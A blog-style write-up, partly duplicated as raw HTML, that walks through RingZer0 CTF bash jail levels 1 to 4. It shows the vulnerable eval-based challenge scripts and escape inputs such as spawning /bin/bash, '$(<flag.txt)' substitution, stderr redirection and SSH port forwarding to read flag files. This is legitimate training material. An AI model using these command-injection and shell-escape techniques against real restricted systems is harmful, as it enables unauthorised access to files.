avatarGreg

Free AI web copilot to create summaries, insights and extended knowledge, download it at here

6408

Abstract

<span class="hljs-number">0</span></pre></div><div id="67d6"><pre><span class="hljs-keyword">fi</span></pre></div><div id="3b2c"><pre><span class="hljs-keyword">return</span> <span class="hljs-number">1</span></pre></div><div id="1df3"><pre>}</pre></div><div id="1519"><pre><span class="hljs-keyword">while</span> :</pre></div><div id="72b4"><pre><span class="hljs-keyword">do</span></pre></div><div id="de98"><pre><span class="hljs-built_in">echo</span> <span class="hljs-string">"Your input:"</span></pre></div><div id="b5d3"><pre><span class="hljs-built_in">read</span> <span class="hljs-built_in">input</span></pre></div><div id="ef68"><pre><span class="hljs-attribute">if</span> check_space <span class="hljs-string">"<span class="hljs-variable">input</span>"</span></pre></div><div id="3c16"><pre><span class="hljs-attribute">then</span></pre></div><div id="5ba7"><pre><span class="hljs-attribute">echo</span> -e '\<span class="hljs-number">033</span>[<span class="hljs-number">0</span>;<span class="hljs-number">31</span>mRestricted characters has been used\<span class="hljs-number">033</span>[<span class="hljs-number">0</span>m'</pre></div><div id="b586"><pre><span class="hljs-keyword">else</span></pre></div><div id="7d2c"><pre><span class="hljs-attribute">output</span><span class="hljs-operator">=</span><span class="hljs-string">"echo Your command is: input"</span></pre></div><div id="7a06"><pre><span class="hljs-built_in">eval</span> output</pre></div><div id="8ce2"><pre><span class="hljs-keyword">fi</span></pre></div><div id="f364"><pre><span class="hljs-keyword">done</span></pre></div><div id="1a7a"><pre><span class="hljs-comment">-----------------------------</span></pre></div><p id="feb9">My initial approach to tackling this challenge was using octal encoding but variables were not expanded as expected. Then I looked again and can see the opportunity to use bash redirection to read the file in as a variable. <a href="https://unix.stackexchange.com/questions/86321/how-can-i-display-the-contents-of-a-text-file-on-the-command-line">StackExchange</a> is useful for answering the detail of how to achieve a goal as is <a href="https://www.gnu.org/software/bash/manual/bashref.html#Redirections">GNU docs</a>, and of course Google. Using redirection we can read a file into a variable in bash:</p><div id="0577"><pre>(<flag.txt)</pre></div><p id="aaaa">This uses flag.txt as the file name and reads the contents into the variable. If this is passed echo returns the argument we have passed but not the flag, for echo to interpret we also need to quote the argument.</p><p id="dfe4">The string to obtain the flag is</p><div id="b4c7"><pre>Your <span class="hljs-selector-tag">input</span>:</pre></div><div id="7dc3"><pre>(&lt;flag.txt)”</pre></div><div id="8bdf"><pre>Your <span class="hljs-keyword">command</span> <span class="hljs-keyword">is</span>: FLAG-XXXXXXXXXXXXXXXXXXXXXXXX</pre></div><div id="e4b9"><pre>Your <span class="hljs-selector-tag">input</span>:</pre></div><h1 id="df21">Bash Jails — Level 3</h1><p id="7f8e">This level is similar to 2 that preceded and further restricts the input you are allowed to pass</p><div id="9085"><pre>RingZer0 <span class="hljs-built_in">Team</span> Online CTF</pre></div><div id="5947"><pre><span class="hljs-keyword">BASH </span><span class="hljs-keyword">Jail </span>Level <span class="hljs-number">3</span>:</pre></div><div id="4123"><pre>Current<span class="hljs-built_in"> user </span>is <span class="hljs-attribute">uid</span>=1002(level3) <span class="hljs-attribute">gid</span>=1002(level3) <span class="hljs-attribute">groups</span>=1002(level3)</pre></div><div id="b916"><pre>Flag <span class="hljs-keyword">is</span> located <span class="hljs-keyword">at</span> /home/level3/flag.txt</pre></div><div id="c031"><pre><span class="hljs-symbol">Challenge</span> bash <span class="hljs-meta">code</span>:</pre></div><div id="e183"><pre> — — — — — — — — — — — — — — -</pre></div><div id="e4ce"><pre><span class="hljs-symbol">WARNING: </span>this prompt is launched using ./prompt.sh 2&gt;/dev/null</pre></div><div id="5e2c"><pre><span class="hljs-meta"># CHALLENGE</span></pre></div><div id="3ad5"><pre><span class="hljs-keyword">function</span> <span class="hljs-title">check_space</span> {</pre></div><div id="2490"><pre><span class="hljs-keyword">if</span> <span class="hljs-string">[[ 1 == [bdksc] ]]</span></pre></div><div id="cd4f"><pre><span class="hljs-attribute">then</span></pre></div><div id="d9dd"><pre><span class="hljs-keyword">return</span> <span class="hljs-number">0</span></pre></div><div id="887e"><pre><span class="hljs-keyword">fi</span></pre></div><div id="34ca"><pre><span class="hljs-keyword">return</span> <span class="hljs-number">1</span></pre></div><div id="1dd5"><pre>}</pre></div><div id="018a"><pre><span class="hljs-keyword">while</span> :</pre></div><div id="2ac2"><pre><span class="hljs-keyword">do</span></pre></div><div id="6aa3"><pre><span class="hljs-keyword">echo</span> “Your <span class="hljs-built_in">input</span>:”</pre></div><div id="00d7"><pre><span class="hljs-built_in">read</span> <span class="hljs-built_in">input</span></pre></div><div id="e831"><pre><span class="hljs-attribute">if</span> check_space “<span class="hljs-variable">input</span>”</pre></div><div id="2de7"><pre><span class="hljs-attribute">then</span></pre></div><div id="766c"><pre><span class="hljs-attribute">echo</span> -e ‘\<span class="hljs-number">033</span>[<span class="hljs-number">0</span>;<span class="hljs-number">31</span>mRestricted characters has been used\<span class="hljs-number">033</span>[<span class="hljs-number">0</span>m’</pre></div><div id="d79e"><pre><span class="hljs-keyword">else</span></pre></div><div id="6bc6"><pre>output=<span class="hljs-string">`input`</span> &><span class="hljs-regexp">/dev/</span><span class="hljs-literal">null</span></pre></div><div id="701d"><pre><span class="hljs-built_in">echo</span> “Command executed”</pre></div><div id="4312"><pre><span class="hljs-keyword">fi</span></pre></div><div id="8a59"><pre><span class="hljs-keyword">done</span></pre></div><div id="9b52"><pre> — — — — — — — — — — — — — — -</pre></div><p id="0a61">As you can see above the code redirect STDOUT to /dev/null so we do not see our command output and we have to draw upon what we learnt using redirection in this challenge to redirect output to our sessio

Options

n using STDERR.</p><p id="d4f5">We can also see that the output is an <b>eval</b>uated version of our input:</p><div id="8908"><pre>output=<span class="hljs-string">$input</span> &><span class="hljs-regexp">/dev/</span><span class="hljs-literal">null</span></pre></div><p id="7374">Using this to our advantage we can use the file read re-direction that we used in level 2 with output redirection to STDERR, however we are further restricted in what commands we can use. The check_space function stops us using echo command but we can use space and . With this in mind we can use the eval command for our purpose.</p><div id="be88"><pre>Your <span class="hljs-selector-tag">input</span>:</pre></div><div id="aa25"><pre><span class="hljs-keyword">Command</span> executed</pre></div><div id="b558"><pre>Your <span class="hljs-selector-tag">input</span>:</pre></div><div id="7a6a"><pre><span class="hljs-attribute">eval</span> (<flag.txt) <span class="hljs-number">2</span>>&<span class="hljs-number">0</span></pre></div><div id="ed89"><pre>./<span class="hljs-type">real</span>.sh: <span class="hljs-type">line</span> <span class="hljs-number">39</span>: FLAG-xxxxxxxxxxxxxxxxxxxxxxxxxxx: command <span class="hljs-keyword">not</span> <span class="hljs-built_in">found</span></pre></div><div id="b62e"><pre><span class="hljs-keyword">Command</span> executed</pre></div><h1 id="d405">Bash Jails — Level 4</h1><p id="11f0">As before our input is further restricted and we now have a challenge on our hands to read the output.</p><div id="1e5f"><pre>RingZer0 <span class="hljs-built_in">Team</span> Online CTF</pre></div><div id="152e"><pre><span class="hljs-keyword">BASH </span><span class="hljs-keyword">Jail </span>Level <span class="hljs-number">4</span>:</pre></div><div id="f32a"><pre>Current<span class="hljs-built_in"> user </span>is <span class="hljs-attribute">uid</span>=1003(level4) <span class="hljs-attribute">gid</span>=1003(level4) <span class="hljs-attribute">groups</span>=1003(level4)</pre></div><div id="8ef8"><pre>Flag <span class="hljs-keyword">is</span> located <span class="hljs-keyword">at</span> /home/level4/flag.txt</pre></div><div id="ed40"><pre><span class="hljs-symbol">Challenge</span> bash <span class="hljs-meta">code</span>:</pre></div><div id="57e3"><pre> — — — — — — — — — — — — — — -</pre></div><div id="0acd"><pre><span class="hljs-symbol">WARNING: </span>this prompt is launched using ./prompt.sh 2>/dev/null</pre></div><div id="1cf1"><pre><span class="hljs-meta"># CHALLENGE</span></pre></div><div id="5952"><pre><span class="hljs-keyword">function</span> <span class="hljs-title">check_space</span> {</pre></div><div id="f0f8"><pre><span class="hljs-keyword">if</span> <span class="hljs-string">[[ 1 == *[bdksc’/’’&lt;’’&gt;’’&amp;’’’]* ]]</span></pre></div><div id="41a7"><pre><span class="hljs-attribute">then</span></pre></div><div id="ee3e"><pre><span class="hljs-keyword">return</span> <span class="hljs-number">0</span></pre></div><div id="bc41"><pre><span class="hljs-keyword">fi</span></pre></div><div id="4322"><pre><span class="hljs-keyword">return</span> <span class="hljs-number">1</span></pre></div><div id="10fb"><pre>}</pre></div><div id="6b32"><pre><span class="hljs-keyword">while</span> :</pre></div><div id="a1f0"><pre><span class="hljs-keyword">do</span></pre></div><div id="3795"><pre><span class="hljs-keyword">echo</span> “Your <span class="hljs-built_in">input</span>:”</pre></div><div id="4b6a"><pre><span class="hljs-built_in">read</span> <span class="hljs-built_in">input</span></pre></div><div id="625d"><pre><span class="hljs-attribute">if</span> check_space “<span class="hljs-variable">input</span>”</pre></div><div id="f224"><pre><span class="hljs-attribute">then</span></pre></div><div id="f1c1"><pre><span class="hljs-attribute">echo</span> -e ‘\<span class="hljs-number">033</span>[<span class="hljs-number">0</span>;<span class="hljs-number">31</span>mRestricted characters has been used\<span class="hljs-number">033</span>[<span class="hljs-number">0</span>m’</pre></div><div id="51c8"><pre><span class="hljs-keyword">else</span></pre></div><div id="19c3"><pre>output=`input < <span class="hljs-regexp">/dev/</span><span class="hljs-keyword">null</span>` &><span class="hljs-regexp">/dev/</span><span class="hljs-keyword">null</span></pre></div><div id="47dc"><pre><span class="hljs-built_in">echo</span> “Command executed”</pre></div><div id="16e1"><pre><span class="hljs-keyword">fi</span></pre></div><div id="8478"><pre><span class="hljs-keyword">done</span></pre></div><div id="016c"><pre> — — — — — — — — — — — — — — -</pre></div><p id="1181">The output command now sends our output to /dev/null</p><p id="c692">How can we get a way to iteract with the session?</p><p id="e5a2">We have SSH access and can use the inbuilt features of our SSH client to redirect a remote port to our local machine</p><div id="1083"><pre><span class="hljs-variable">$ </span>ssh -L <span class="hljs-number">11111</span><span class="hljs-symbol">:localhost</span><span class="hljs-symbol">:</span><span class="hljs-number">11111</span> level4<span class="hljs-variable">@ringzer0team</span>.com -p <span class="hljs-number">1016</span></pre></div><p id="c2de">Then use python SimpleHTTPServer to provide us a port to interact with the level using the input in our SSH session of</p><div id="5951"><pre><span class="hljs-attribute">python</span> -m SimpleHTTPServer <span class="hljs-number">11111</span></pre></div><p id="f9e5">Return to your local machine on a separate terminal and connect to the HTTP server we have running remotely and request the flag.txt file.</p><div id="efdd"><pre>Python <span class="hljs-meta prompt_">>>></span> <span class="language-python"><span class="hljs-keyword">import</span> urllib2</span> <span class="hljs-meta prompt_">>>></span> <span class="language-python">urllib2.urlopen(“http://<span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:<span class="hljs-number">11111</span>/flag.txt<span class="hljs-string">").read()</span></span> ‘FLAG-xxxxxxxxxxxxxxxxxxxxxx\n’ <span class="hljs-meta prompt_">>>></span></pre></div><p id="0cc7">That is level 1 to 4 complete, i’ll continue my write ups for future levels which become increasingly more complex as you would expect.</p></article></body>

Using CTF’s to learn and keep sharp

At present I find I have limited time to practice and learn new skills and have actively been pursuing short challenges that I can use to sharpen my skills. Capture The Flags are the perfect way for me to dip in and out of a subject when I have time. I recently completed http://flaws.cloud covering AWS common security flaws and provided a good background on common mistakes. I have helped devise scenarios for the UK Cyber Security Challenge masterclass working with PwC whom built the challenges and also recommend looking at the challenges in the Play On Demand challenges that can also be used to help qualify for face to face events.

I am starting to add new write ups on how I approached the challenges and what I have learnt on the different challenges and I am currently working on the coding and bash jail challenges at https://ringzer0team.com as they are a bit different to the normal SQL injection and web app type attacks. I also plan to use those at https://ctftime.org as I get more time.

Bash Jails — Level 1

The first stage is a simple and accessed via SSH

ssh level1@ringzer0team.com -p 1016
Password level1

As with each level in the CTF you are presented with some initial information about the user you are connected as and information on where to obtain the flag.

BASH Jail Level 1:
Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)
Flag is located at /home/level1/flag.txt
Challenge bash code:
-----------------------------
while :
do
echo "Your input:"
read input
output=`$input`
done
-----------------------------
Your input:

The level 1 challenge has no limiting on the input you can pass and is simply a case of getting a shell and obtaining the flag.

-----------------------------
Your input:
/bin/bash
level1@lxc17-bash-jail:~$ ls 1>&2
flag.txt  prompt.sh
level1@lxc17-bash-jail:~$ cat flag.txt 1>&2
FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXX
level1@lxc17-bash-jail:~$

Bash jails — Level 2

To access the second stage you SSH into the jail using the flag from the previous level with the level as the username.

ssh level2@ringzer0team.com -p 1016
Password FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXXXX

The second stage starts to your input more restrictive and limits the characters you are allowed to pass natively. This is quite similar to input filtering you would expect on web applications to prevent XSS. The CTF has the advantage that you are provided with the source code that is being used to stop you.

Current user is uid=1001(level2) gid=1001(level2) groups=1001(level2)
Flag is located at /home/level2/flag.txt
Challenge bash code:
-----------------------------
function check_space {
if [[ $1 == *[bdks';''&'' ']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output="echo Your command is: $input"
eval $output
fi
done
-----------------------------

My initial approach to tackling this challenge was using octal encoding but variables were not expanded as expected. Then I looked again and can see the opportunity to use bash redirection to read the file in as a variable. StackExchange is useful for answering the detail of how to achieve a goal as is GNU docs, and of course Google. Using redirection we can read a file into a variable in bash:

$(<flag.txt)

This uses flag.txt as the file name and reads the contents into the variable. If this is passed echo returns the argument we have passed but not the flag, for echo to interpret we also need to quote the argument.

The string to obtain the flag is

Your input:
“$(<flag.txt)”
Your command is: FLAG-XXXXXXXXXXXXXXXXXXXXXXXX
Your input:

Bash Jails — Level 3

This level is similar to 2 that preceded and further restricts the input you are allowed to pass

RingZer0 Team Online CTF
BASH Jail Level 3:
Current user is uid=1002(level3) gid=1002(level3) groups=1002(level3)
Flag is located at /home/level3/flag.txt
Challenge bash code:
 — — — — — — — — — — — — — — -
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksc]* ]]
then
return 0
fi
return 1
}
while :
do
echo “Your input:”
read input
if check_space “$input
then
echo -e ‘\033[0;31mRestricted characters has been used\033[0m’
else
output=`$input` &>/dev/null
echo “Command executed”
fi
done
 — — — — — — — — — — — — — — -

As you can see above the code redirect STDOUT to /dev/null so we do not see our command output and we have to draw upon what we learnt using redirection in this challenge to redirect output to our session using STDERR.

We can also see that the output is an evaluated version of our input:

output=`$input` &>/dev/null

Using this to our advantage we can use the file read re-direction that we used in level 2 with output redirection to STDERR, however we are further restricted in what commands we can use. The check_space function stops us using echo command but we can use space and $. With this in mind we can use the eval command for our purpose.

Your input:
Command executed
Your input:
eval $(<flag.txt) 2>&0
./real.sh: line 39: FLAG-xxxxxxxxxxxxxxxxxxxxxxxxxxx: command not found
Command executed

Bash Jails — Level 4

As before our input is further restricted and we now have a challenge on our hands to read the output.

RingZer0 Team Online CTF
BASH Jail Level 4:
Current user is uid=1003(level4) gid=1003(level4) groups=1003(level4)
Flag is located at /home/level4/flag.txt
Challenge bash code:
 — — — — — — — — — — — — — — -
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksc’/’’<’’>’’&’’$’]* ]]
then
return 0
fi
return 1
}
while :
do
echo “Your input:”
read input
if check_space “$input
then
echo -e ‘\033[0;31mRestricted characters has been used\033[0m’
else
output=`$input < /dev/null` &>/dev/null
echo “Command executed”
fi
done
 — — — — — — — — — — — — — — -

The output command now sends our output to /dev/null

How can we get a way to iteract with the session?

We have SSH access and can use the inbuilt features of our SSH client to redirect a remote port to our local machine

$ ssh -L 11111:localhost:11111 level4@ringzer0team.com -p 1016

Then use python SimpleHTTPServer to provide us a port to interact with the level using the input in our SSH session of

python -m SimpleHTTPServer 11111

Return to your local machine on a separate terminal and connect to the HTTP server we have running remotely and request the flag.txt file.

Python
>>> import urllib2
>>> urllib2.urlopen(“http://127.0.0.1:11111/flag.txt").read()
‘FLAG-xxxxxxxxxxxxxxxxxxxxxx\n’
>>>

That is level 1 to 4 complete, i’ll continue my write ups for future levels which become increasingly more complex as you would expect.

Hacking
Ctf
Bash
Cybersecurity
Recommended from ReadMedium